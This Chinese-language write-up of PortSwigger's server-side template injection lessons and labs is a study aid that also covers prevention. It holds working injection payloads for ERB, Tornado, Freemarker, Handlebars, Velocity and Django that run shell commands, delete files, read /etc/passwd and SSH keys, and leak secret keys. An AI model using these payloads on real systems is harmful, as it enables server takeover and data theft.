所有内容,来自burpsuite官方靶场(portswigger)
服务端模板注入
什么是服务器端模板注入
服务器端模板注入是指攻击者能够使用原生模板语法将恶意负载注入模板,然后在服务器端执行。
模板引擎旨在通过将固定模板与易失数据相结合来生成网页。当用户输入直接连接到模板中而不是作为数据传入时,可能会发生服务器端模板注入攻击。这允许攻击者注入任意模板指令以操纵模板引擎,通常使他们能够完全控制服务器。顾名思义,服务器端模板注入有效载荷是在服务器端交付和评估的,这可能使它们比典型的客户端模板注入危险得多。
服务端模板注入有什么影响?
服务器端模板注入漏洞可能会使网站受到各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在某些罕见的情况下,这些漏洞不会带来真正的安全风险。但是,大多数情况下,服务器端模板注入的影响可能是灾难性的。
在严重的情况下,攻击者可能会实现远程代码执行,完全控制后端服务器并使用它对内部基础设施执行其他攻击。
即使在无法执行完全远程代码的情况下,攻击者通常仍然可以使用服务器端模板注入作为许多其他攻击的基础,从而可能获得对服务器上敏感数据和任意文件的读取访问权限。
服务端模板注入漏洞是如何产生的?
当用户输入连接到模板而不是作为数据传入时,就会出现服务器端模板注入漏洞。
静态模板仅提供用于呈现动态内容的占位符,通常不易受到服务器端模板注入的影响。经典示例是一封以每个用户的名字问候用户的电子邮件,例如以下 Twig 模板的摘录:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
这不容易受到服务器端模板注入的影响,因为用户的名字只是作为数据传递到模板中。
但是,由于模板只是字符串,Web 开发人员有时会在呈现之前直接将用户输入连接到模板中。让我们举一个与上面类似的例子,但这一次,用户可以在发送电子邮件之前自定义部分电子邮件。例如,他们可以选择使用的名称:
$output = $twig->render("Dear " . $_GET['name']);
在此示例中,不是将静态值传递给模板,而是使用GET
参数动态生成模板本身的一部分name
。由于模板语法是在服务器端评估的,这可能允许攻击者将服务器端模板注入负载放入name
参数中,如下所示:
http://vulnerable-website.com/?name={{bad-stuff-here}}
像这样的漏洞有时是由于不熟悉安全隐患的人的模板设计不当而造成的。与上面的示例一样,可能会看到不同的组件,其中一些包含用户输入、连接并嵌入到模板中。在某些方面,这类似于在编写不当的准备语句中出现的SQL 注入漏洞。
但是,有时这种行为实际上是有意实施的。例如,某些网站故意允许某些特权用户(例如内容编辑者)按设计编辑或提交自定义模板。如果攻击者能够破坏具有此类权限的帐户,这显然会带来巨大的安全风险。
构建服务器端模板注入攻击
识别服务器端模板注入漏洞并设计成功的攻击通常涉及以下高级过程。
探测
服务器端模板注入漏洞通常不会被注意到,不是因为它们很复杂,而是因为它们只对明确寻找它们的审计人员来说才是真正明显的。如果能够检测到存在漏洞,那么利用它就非常容易。在非沙盒环境中尤其如此。
与任何漏洞一样,利用漏洞的第一步是能够找到它。也许最简单的初始方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板,例如${{<%[%'"}}%\
. 如果引发异常,则表明注入的模板语法可能正在以某种方式被服务器解释。这是可能存在服务器端模板注入漏洞的一个迹象。
服务器端模板注入漏洞发生在两个不同的上下文中,每个上下文都需要自己的检测方法。无论模糊测试结果如何,尝试以下特定于上下文的方法也很重要。如果模糊测试是不确定的,漏洞仍然可能使用这些方法之一暴露出来。即使模糊测试确实表明存在模板注入漏洞,仍然需要识别其上下文才能利用它。
明文上下文
大多数模板语言允许通过直接使用 HTML 标签或使用模板的本机语法自由输入内容,这些内容将在发送 HTTP 响应之前在后端呈现为 HTML。例如,在 Freemarker 中,该行将 render('Hello ' + username)
呈现为类似Hello Carlos
.
这有时会被用于XSS,实际上经常被误认为是一个简单的 XSS 漏洞。但是,通过将数学运算设置为参数的值,我们可以测试这是否也是服务器端模板注入攻击的潜在入口点。
例如,考虑一个包含以下易受攻击代码的模板:
render('Hello ' + username)
在审计期间,我们可能会通过请求一个 URL 来测试服务器端模板注入,例如:
http://vulnerable-website.com/?username=${7*7}
如果结果输出包含Hello 49
,则表明正在服务器端评估数学运算。这是服务器端模板注入漏洞的一个很好的概念证明。
请注意,成功评估数学运算所需的特定语法将根据所使用的模板引擎而有所不同。需要将在识别步骤中更详细地讨论这一点。
代码上下文
在其他情况下,漏洞是通过将用户输入放置在模板表达式中而暴露出来的,正如我们之前在电子邮件示例中看到的那样。这可能采用将用户可控变量名称放置在参数中的形式,例如:
greeting = getQueryParameter('greeting')engine.render("Hello {{"+greeting+"}}", data)
在网站上,生成的 URL 类似于:
http://vulnerable-website.com/?greeting=data.username
例如,这将在输出中呈现Hello Carlos
为 。
这个上下文在评估过程中很容易被忽略,因为它不会导致明显的 XSS,并且几乎与简单的 hashmap 查找没有区别。在此上下文中测试服务器端模板注入的一种方法是首先通过将任意 HTML 注入值来确定该参数不包含直接 XSS 漏洞:
http://vulnerable-website.com/?greeting=data.username<tag>
在没有 XSS 的情况下,这通常会导致输出中出现空白条目(只是Hello
没有用户名)、编码标签或错误消息。下一步是尝试使用通用模板语法打破该语句,并尝试在其后注入任意 HTML:
http://vulnerable-website.com/?greeting=data.username}}<tag>
可能}}闭合了模板语句
如果这再次导致错误或空白输出,则说明使用了错误模板语言的语法,或者,如果模板样式的语法似乎无效,则无法进行服务器端模板注入。或者,如果输出正确呈现,以及任意 HTML,这是存在服务器端模板注入漏洞的关键迹象:
Hello Carlos<tag>
确认
一旦检测到模板注入潜力,下一步就是识别模板引擎。
尽管有大量的模板语言,但它们中的许多使用非常相似的语法,专门选择不与 HTML 字符发生冲突。因此,创建探测有效载荷以测试正在使用的模板引擎可能相对简单。
简单地提交无效的语法通常就足够了,因为产生的错误消息会告诉你模板引擎是什么,有时甚至是哪个版本。例如,无效表达式<%=foobar%>
会触发来自基于 Ruby 的 ERB 引擎的以下响应:
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'from -e:4:in `<main>'
否则,将需要手动测试不同语言特定的有效负载并研究模板引擎如何解释它们。使用基于语法似乎有效或无效的排除过程,可以比想象的更快地缩小选项的范围。一种常见的方法是使用来自不同模板引擎的语法注入任意数学运算。然后可以观察它们是否被成功评估。为了帮助完成此过程,可以使用类似于以下内容的决策树:
相同的有效负载有时可以以一种以上的模板语言返回成功的响应。例如,有效载荷在 Twig 和Jinja2 中{{7*'7'}}
返回。因此,重要的是不要根据一次成功的响应就得出结论。 49``7777777
开发
在检测到存在潜在漏洞并成功识别模板引擎后,可以开始尝试寻找利用它方法
利用服务器端模板注入漏洞
注
除非已经彻底了解模板引擎,否则通常首先要阅读其文档。虽然这可能不是最令人兴奋的消磨时间的方式,但重要的是不要低估文档的有用信息来源。
学习基本的模板语法
学习基本语法、关键函数和变量处理显然很重要。即使是学习如何在模板中嵌入本机代码块这样简单的事情,有时也会很快导致漏洞利用。例如,一旦知道正在使用基于 Python 的 Mako 模板引擎,实现远程代码执行可能就像这样简单:
<%import osx=os.popen('id').read()%>${x}
在非沙盒环境中,实现远程代码执行并使用它来读取、编辑或删除任意文件,与许多常见模板引擎中一样简单。
LAB:基本的服务端模板注入
GET
请求会使用该message
参数"Unfortunately this product is out of stock"
在主页上呈现。
在 ERB 文档中,发现语法<%= someExpression %>
用于评估表达式并将结果呈现在页面上。
使用 ERB 模板语法创建包含数学运算的测试负载,例如:
<%= 9*9 %>
表明肯能存在服务器端模板注入漏洞
构造一个payload来删除Carlos的文件
<%= system("rm /home/carlos/morale.txt") %>
LAB:基本的服务端模板注入(代码上下文)
发表一个评论
在我的账户里面改变显示的名称
Tornado 文档以发现模板表达式被双花括号包围,例如{{someExpression}}
在python中、可以import os模块、再使用system()方法,执行系统命令
{% import os %}
{{os.system('rm /home/carlos/morale.txt')
payload为:
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
阅读有关安全影响的信息
除了提供如何创建和使用模板的基础知识外,文档还可能提供某种“安全”部分。该部分的名称会有所不同,但通常会概述人们应该避免使用模板做的所有潜在危险的事情。这可能是一种宝贵的资源,甚至可以作为一种备忘单,您应该在审计期间寻找哪些行为,以及如何利用它们。
即使没有专门的“安全”部分,如果特定的内置对象或函数可能造成安全风险,文档中几乎总是会有某种警告。警告可能不会提供太多细节,但至少它应该将这个特定的内置内容标记为需要调查的内容。
例如,在 ERB 中,文档显示可以列出所有目录,然后读取任意文件,如下所示:
<%= Dir.entries('/') %><%= File.open('/example/arbitrary-file').read %>
LAB:使用文档的服务端模板注入
更好表达式为一个不存在的对象例如$
错误消息表明正在使用Freemarker模板引擎
研究Freemarker文档,其中“我可以运行用户上传模板并且对安全有何影响?描述了New()的安全问题
加载TemplateModel该类的JavaDoc ,并查看“所有已知的实现类”列表。观察到有一个名为的类Execute,该类可用于执行任意的shell命令。尝试构建payload,或者在我们的研究页面上找到@albinowax的漏洞利用程序,并进行如下调整:<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
删除之前输入的无效语法,然后payload插入模板。预览模板就可以执行成功
寻找已知的漏洞利用
利用服务器端模板注入漏洞的另一个关键方面是善于在线查找其他资源。一旦能够识别正在使用的模板引擎,应该浏览网络以查找其他人可能已经发现的任何漏洞。由于一些主要模板引擎的广泛使用,有时可以找到记录良好的漏洞利用,可以调整这些漏洞利用自己的目标网站
LAB:服务端模板注入未知语法,并记录了漏洞利用
尝试${{<%[%'"}}%\
,出现报错信息、这表明该网站正在使用Handlebars
在网上搜索“Handlebars 服务器端模板注入”。可以找到@Zombiehelp54
的文章.
安全客上有全文翻译:https://www.anquanke.com/post/id/176121
修改漏洞利用程序,使其调用require(“child_process”).exec(“rm /home/carlos/morale.txt”)
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对payload进行url编码,并将其添加为url中message参数的值、发送,解决
探索
此时,可能已经使用文档偶然发现了一个可行的漏洞利用。如果没有,下一步是探索环境并尝试发现您有权访问的所有对象。
许多模板引擎公开某种类型的“自我”或“环境”对象,其作用类似于包含模板引擎支持的所有对象、方法和属性的命名空间。如果存在这样的对象,您可以潜在地使用它来生成范围内的对象列表。例如,在基于 Java 的模板语言中,您有时可以使用以下注入列出环境中的所有变量:
${T(java.lang.System).getenv()}
这可以构成创建潜在有趣对象和方法的候选清单以进一步调查的基础。此外,对于Burp Suite Professional用户,Intruder 提供了一个用于暴力破解变量名称的内置词表。
开发者提供的对象
请务必注意,网站将包含由模板提供的内置对象和由 Web 开发人员提供的自定义站点特定对象。应该特别注意这些非标准对象,因为它们特别可能包含敏感信息或可利用的方法。由于这些对象在同一网站内的不同模板之间可能有所不同,因此请注意,在找到利用它的方法之前,可能需要在每个不同模板的上下文中研究对象的行为。
虽然服务器端模板注入可能会导致远程代码执行和服务器的完全接管,但实际上这并不总是可以实现的。但是,仅仅因为您排除了远程代码执行,并不一定意味着没有其他类型的漏洞利用的可能性。您仍然可以利用服务器端模板注入漏洞进行其他高严重性攻击,例如目录遍历,以获取对敏感数据的访问权限。
LAB:通过用户提供的对象进行信息披露的服务器端模板注入
${{<%[%'"}}%\
由报错信息知网站正在使用Django框架
研究 Django 文档,注意到debug
可以调用内置的模板标签来显示调试信息。
在模板中,删除无效语法并输入以下语句以调用debug
内置:
{% debug %}
保存模板。输出将包含您可以从该模板中访问的对象和属性列表。至关重要的是,请注意您可以访问该settings
对象。
研究settings
Django 文档中的对象并注意它包含一个SECRET_KEY
属性,如果攻击者知道该属性,则具有危险的安全隐患。
在模板中,删除{% debug %}
语句并输入表达式{{settings.SECRET_KEY}}
保存模板以输出框架的密钥。
创建自定义攻击
到目前为止,我们主要着眼于通过重用已记录的漏洞利用或通过在模板引擎中使用众所周知的漏洞来构建攻击。但是,有时需要构建自定义漏洞利用。例如,可能会发现模板引擎在沙箱内执行模板,这会使利用变得困难,甚至不可能。
确定攻击面后,如果没有明显的漏洞利用方法,应该继续使用传统的审计技术,通过检查每个功能的可利用行为。通过有条不紊地完成此过程,有时可能能够构建复杂的攻击,甚至能够利用更安全的目标。
使用对象链构造自定义漏洞利用
如上所述,第一步是确定有权访问的对象和方法。一些对象可能会因为有趣而立即跳出来。通过将自己的知识和文档中提供的信息相结合,应该能够将要进行更彻底调查的对象的候选清单放在一起。
在研究对象的文档时,请特别注意这些对象授予访问权限的方法以及它们返回的对象。通过深入查看文档,可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时可以让访问最初似乎遥不可及的危险功能和敏感数据。
例如,在基于 Java 的模板引擎 Velocity 中,可以访问ClassTool
名为$class
. 研究文档表明可以链接$class.inspect()
方法和$class.type
属性以获取对任意对象的引用。过去,它被用来在目标系统上执行 shell 命令,如下所示:
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
LAB:沙盒环境中的服务器端模板注入不懂
- 登录并编辑其中一个产品描述模板。请注意,您有权访问该
product
对象。 - 加载
Object
该类的 JavaDoc以查找所有对象都应该可用的方法。确认您可以${object.getClass()}
使用该product
对象执行。 - 浏览文档以查找一系列方法调用,这些方法调用授予对具有静态方法的类的访问权限,让您可以读取文件,例如:
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
- 在其中一个模板中输入此有效负载并保存。输出将包含作为十进制 ASCII 代码点的文件内容。
- 将返回的字节转换为 ASCII。
- 单击“提交解决方案”按钮并提交此字符串以解决实验室问题。
使用开发人员提供的对象构建自定义漏洞利用
默认情况下,某些模板引擎在安全、锁定的环境中运行,以尽可能降低相关风险。尽管这使得利用此类模板进行远程代码执行变得困难,但暴露于模板的开发人员创建的对象可以提供更进一步的、不太坚固的攻击面。
然而,虽然通常为内置模板提供了大量文档,但几乎可以肯定根本没有记录特定于站点的对象。因此,确定如何利用它们将需要您手动调查网站的行为以识别攻击面并相应地构建您自己的自定义漏洞。
LAB:带有自定义漏洞的服务端模板注入
发布一个评论
上传一个错误的头像(txt文件)
错误消息提示了一种user.setAvatar()
的方法,和一个文件路径/home/carlos/User.php
,上传正常头像图片,并加载评论页面
在Burp Repeater中,重放POST请求、blog-post-author-display参数将任意文件设置为头像 user.setAvatar('/etc/passwd')
加载包含测试评论的页面以呈现模板。请注意,错误消息表明需要提供图像 MIME 类型作为第二个参数。提供此参数并再次查看注释以刷新模板:
user.setAvatar('/etc/passwd','image/jpg')
添加参数后、再次请求,无报错、头像不能正常显示(非图片),复制头像链接、访问、即可下载包含/etc/passwd的文件
也可用GET请求/avatar?avatat=wiener
查看返回内容
重复上述过程、获取前面的/home/carlos/User.php
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() { //删除
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
可以使用gdprDelete()方法删除用户头像,结合上述内容删除目标文件
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
再调用user.dbprDelete()方法
如何防止服务器端模板注入漏洞
防止服务器端模板注入的最佳方法是不允许任何用户修改或提交新模板。但是,由于业务需求,这有时是不可避免的。
避免引入服务器端模板注入漏洞的最简单方法之一是始终使用“无逻辑”模板引擎,例如 Mustache,除非绝对必要。尽可能将逻辑与表示分离,可以大大减少面临最危险的基于模板的攻击的风险。
另一种措施是仅在沙盒环境中执行用户的代码,在该环境中,潜在危险的模块和功能已被完全删除。不幸的是,对不受信任的代码进行沙箱处理本身就很困难并且容易被绕过。
最后,另一种补充方法是接受任意代码执行几乎是不可避免的,并通过在锁定的 Docker 容器中部署模板环境来应用自己的沙箱
评论区